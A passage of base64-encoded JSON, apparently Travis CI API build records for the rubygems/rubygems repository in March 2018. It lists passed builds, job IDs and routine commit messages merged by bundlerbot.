ogIi9qb2IvMzUwMTc5OTY5IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NjkKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTcwIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NzAKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTcxIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NzEKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTcyIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NzIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzUwMTc5OTczIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTAxNzk5NzMKICAgICAgICB9CiAgICAgIF0sCiAgICAgICJzdGFnZXMiOiBbCgogICAgICBdLAogICAgICAiY3JlYXRlZF9ieSI6IHsKICAgICAgICAiQHR5cGUiOiAidXNlciIsCiAgICAgICAgIkBocmVmIjogIi91c2VyLzM3NjgwMiIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAzNzY4MDIsCiAgICAgICAgImxvZ2luIjogImJ1bmRsZXJib3QiCiAgICAgIH0sCiAgICAgICJ1cGRhdGVkX2F0IjogIjIwMTgtMDMtMDdUMDc6MTc6NTYuMzM3WiIKICAgIH0sCiAgICB7CiAgICAgICJAdHlwZSI6ICJidWlsZCIsCiAgICAgICJAaHJlZiI6ICIvYnVpbGQvMzUwMTQ3NDUyIiwKICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJzdGFuZGFyZCIsCiAgICAgICJAcGVybWlzc2lvbnMiOiB7CiAgICAgICAgInJlYWQiOiB0cnVlLAogICAgICAgICJjYW5jZWwiOiBmYWxzZSwKICAgICAgICAicmVzdGFydCI6IGZhbHNlCiAgICAgIH0sCiAgICAgICJpZCI6IDM1MDE0NzQ1MiwKICAgICAgIm51bWJlciI6ICI0NzYzIiwKICAgICAgInN0YXRlIjogInBhc3NlZCIsCiAgICAgICJkdXJhdGlvbiI6IDc4MTksCiAgICAgICJldmVudF90eXBlIjogInB1c2giLAogICAgICAicHJldmlvdXNfc3RhdGUiOiAicGFzc2VkIiwKICAgICAgInB1bGxfcmVxdWVzdF90aXRsZSI6IG51bGwsCiAgICAgICJwdWxsX3JlcXVlc3RfbnVtYmVyIjogbnVsbCwKICAgICAgInN0YXJ0ZWRfYXQiOiAiMjAxOC0wMy0wN1QwNDoxNjo1N1oiLAogICAgICAiZmluaXNoZWRfYXQiOiAiMjAxOC0wMy0wN1QwNDo0NjowM1oiLAogICAgICAicmVwb3NpdG9yeSI6IHsKICAgICAgICAiQHR5cGUiOiAicmVwb3NpdG9yeSIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMjIyMSwKICAgICAgICAibmFtZSI6ICJydWJ5Z2VtcyIsCiAgICAgICAgInNsdWciOiAicnVieWdlbXMvcnVieWdlbXMiCiAgICAgIH0sCiAgICAgICJicmFuY2giOiB7CiAgICAgICAgIkB0eXBlIjogImJyYW5jaCIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEvYnJhbmNoL21hc3RlciIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAibmFtZSI6ICJtYXN0ZXIiCiAgICAgIH0sCiAgICAgICJ0YWciOiBudWxsLAogICAgICAiY29tbWl0IjogewogICAgICAgICJAdHlwZSI6ICJjb21taXQiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMTA0MjExOTE5LAogICAgICAgICJzaGEiOiAiYjdkMGMxMDY4ZDgxZWFmYTY0YmFjY2Y2MzZhYTA0MmVlMjlkNzkyOSIsCiAgICAgICAgInJlZiI6ICJyZWZzL2hlYWRzL21hc3RlciIsCiAgICAgICAgIm1lc3NhZ2UiOiAiQXV0byBtZXJnZSBvZiAjMjIyMyAtIHJ1YnlnZW1zOnJlbW92ZS1lbmNvZGluZy1jb25kaXRpb24sIHI9c2VnaWRkaW5zXG5cblJlbW92ZWQgbmVlZGxlc3MgY29uZGl0aW9uIGZvciBFbmNvZGluZ1xuXG4jIERlc2NyaXB0aW9uOlxuXG4gSXQncyBhbHdheXMgcHJvdmlkZWQgYWZ0ZXIgUnVieSAxLjkrXG5fX19fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFsgXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvMDBhZmRjZmE1NjlhLi4uYjdkMGMxMDY4ZDgxIiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMDdUMDM6NDU6MzRaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1MyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDUzCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ1OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDU5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ2MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDYwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ2MSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDYxCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1MDE0NzQ2MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzUwMTQ3NDYyCiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTA3VDA0OjQ2OjAzLjcxNVoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM0OTY2NDU0NSIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNDk2NjQ1NDUsCiAgICAgICJudW1iZXIiOiAiNDc1NiIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA3NzM2LAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMDZUMDU6NTg6MTRaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMDZUMDY6MjM6MzdaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwNDA1OTYxOCwKICAgICAgICAic2hhIjogIjAwYWZkY2ZhNTY5YTg2YThhNDY2NTQ1OTliNDE3OTdhMjZmMjE4YWUiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyMTcgLSBydWJ5Z2VtczppbXByb3ZlX2ludmFsaWRfcHJveHlfZXJyb3JfbWVzc2FnZSwgcj1zZWdpZGRpbnNcblxuSW1wcm92ZSBpbnZhbGlkIHByb3h5IGVycm9yIG1lc3NhZ2VcblxuIyBEZXNjcmlwdGlvbjpcblxuY2xvc2VzIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTc4M1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL2IyYjNkMTBmYTllZi4uLjAwYWZkY2ZhNTY5YSIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTA2VDA1OjMzOjAwWiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NDciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU0NwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NDgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU0OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1MgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTYiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1NgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1NwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NTkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU1OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NjAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU2MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDk2NjQ1NjMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTY2NDU2MwogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0wNlQwNjoyMzozOC4wNjhaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNDkyMzkwMjkiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzQ5MjM5MDI5LAogICAgICAibnVtYmVyIjogIjQ3NTQiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogODE3OCwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTA1VDExOjA5OjE2WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTA1VDExOjM4OjEwWiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDM5Mjk1MzcsCiAgICAgICAgInNoYSI6ICJiMmIzZDEwZmE5ZWYyMGFhN2Q4MWJjYjM4NTgyZWZkMjMyODliMGVjIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjIwIC0gcnVieWdlbXM6aW1wcm92ZS1nZW1zcGVjLCByPWhzYnRcblxuSW1wcm92ZSBnZW1zcGVjIGFuZCBwYWNrYWdlIHRhc2suXG5cbiMgRGVzY3JpcHRpb246XG5cbkZvbGxvd2VkIHVwIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxOTMjcHVsbHJlcXVlc3RyZXZpZXctOTcwOTIwOTIgYW5kIEltcHJvdmUgcGFja2FnZSB0YXNrLlxuX19fX19fX19fX19fX19cblxuIyBUYXNrczpcblxuLSBbeF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFt4XSBXcml0ZSB0ZXN0c1xuLSBbIF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL2M2ZTZiZDU5ZDgzNy4uLmIyYjNkMTBmYTllZiIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTA1VDEwOjQyOjEzWiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzMQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzMwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzNAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzNQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzNwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwMzkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTAzOQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwNDIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTA0MgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwNDMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTA0MwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwNDQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTA0NAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNDkyMzkwNDUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM0OTIzOTA0NQogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0wNVQxMTozODoxMC43MjJaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNDkyMjk5ODQiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzQ5MjI5OTg0LAogICAgICAibnVtYmVyIjogIjQ3NTIiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogNzQzMSwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTA1VDEwOjQyOjQ1WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTA1VDExOjA4OjU4WiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDM5MjY3